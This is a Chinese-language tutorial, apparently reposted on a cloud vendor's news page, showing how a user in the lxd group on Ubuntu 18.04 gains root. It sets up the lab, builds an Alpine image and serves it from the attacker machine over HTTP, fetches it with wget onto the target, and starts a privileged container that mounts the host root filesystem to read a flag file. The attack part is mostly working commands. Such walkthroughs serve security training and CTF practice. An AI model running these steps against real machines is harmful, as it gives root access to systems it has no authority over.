您好,登錄后才能下訂單哦!
使用LXD怎么實現權限提升功能,針對這個問題,這篇文章詳細介紹了相對應的分析和解答,希望可以幫助更多想解決這個問題的小伙伴找到更簡單易行的方法。
Linux Container(LXC)通常被認為是一種輕量級虛擬化技術,它介于Chroot和完整開發的虛擬機之間,LXC可以創建一個跟正常Linux操作系統十分接近的環境,但是不需要使用到單獨的內核資源。
Linux Daemon(LXD)是一個輕量級容器管理程序,而LXD是基于LXC容器技術實現的,而這種技術之前Docker也使用過。LXD使用了穩定的LXC API來完成所有的后臺容器管理工作,并且增加了REST API支持,更進一步地提升了用戶體驗度。
所謂的容器技術,也就是在主機操作系統中創建一個隔離的環境,以允許某個進程或應用程序在一個不影響主操作系統以及其他進程的環境下運行。
目標主機系統:Ubuntu v18.04
攻擊者設備:Kali Linux或其他設備
接下來,我們開始操作!
大家可以看到,我們已經在主機設備中創建好了一個名叫“raj”的本地用戶賬號:
執行下列命令完成LXD的安裝:
apt install lxd
當然了,你還需要為LXD安裝一些依賴組件:
apt install zfsutils-linux
接下來,配置“raj”用戶賬號,將“raj”添加進LXD組中,執行下列命令:
usermod --append --groups lxd raj
驗證用戶“raj”是否已是LXD組的成員:
現在我們需要配置LXD,我們可以使用命令“lxd init”來開啟LXD初始化進程。在初始化的過程中,程序將會要用戶選擇某些配置選項,其中的大多數選項都可以直接使用默認配置。不過在后端存儲選項中,我們需要選擇“dir”,而不要選擇“zfs”。
配置好LXD之后,你需要使用LXC創建一個容器。這里我們為“Ubuntu:18.04”創建了一個容器,并命名為了“intimate-seasnail”。配置完成之后,我們可以使用lxc list命令來查看所有可用的容器:
lxc launch ubuntu:18.04lxc list
使用lxc exec命令即可與容器建立連接,該命令需要提供目標容器名稱:
lxc exec intimate-seasnail -- /bin/bash
進入容器之后,命令行終端的Shell界面如下:
利用LXD來實現提權需要我們能夠訪問目標設備的本地賬號,因此我們選擇使用SSH來連接并訪問目標設備的本地賬號。 這里需要注意的是,我們的目標用戶賬號必須是LXD組的組成員。
ssh raj@192.168.1.105
為了將我們的用戶賬號提升為root權限,我們還需要為LXD創建一個鏡像文件,操作步驟如下:
首先,攻擊者需要在自己設備上進行如下操作:
1、通過git將構建好的alpine鏡像克隆至本地;
2、執行“build -alpine”命令完成最新版本的Alpine鏡像構建,此操作必須由root用戶完成;
3、將tar文件發送至目標設備;
接下來,我們需要在目標設備上進行如下操作:
1、下載Alpine鏡像;
2、為LXD導入鏡像;
3、在新的容器環境中初始化鏡像;
4、在/root目錄中加載容器;
那么接下來,我們先從GitHub庫下載構建好的Alpine:
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
運行完上述命令之后,會在當前目錄下創建一個tar.gz文件,之后我們需要將其發送至目標系統:
python -m SimpleHTTPServer
另一方面,我們還需要將alpine鏡像發送至目標系統的/tmp目錄中:
cd /tmpwget http://192.168.1.107:8000/apline-v3.10-x86_64-20191008_1227.tar.gz
鏡像構建完成之后,我們就可以將其以鏡像的形式添加進LXD了:
lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
使用“list”命令即可檢查可用的容器列表:
lxc image list
lxc init myimage ignite -c security.privileged=truelxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=truelxc start ignitelxc exec ignite /bin/shId
進入容器之后,定位到/mnt/root即可查看目標主機設備的所有資源。運行了Bash腳本之后,我們將得到一個特殊的Shell,也就是容器的Shell。這個容器中包含了目標主機的全部資源,我們可以嘗試枚舉或搜索flag文件:
mnt/root/rootlsflag.txtcat flag.txt
關于使用LXD怎么實現權限提升功能問題的解答就分享到這里了,希望以上內容可以對大家有一定的幫助,如果你還有很多疑惑沒有解開,可以關注億速云行業資訊頻道了解更多相關知識。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。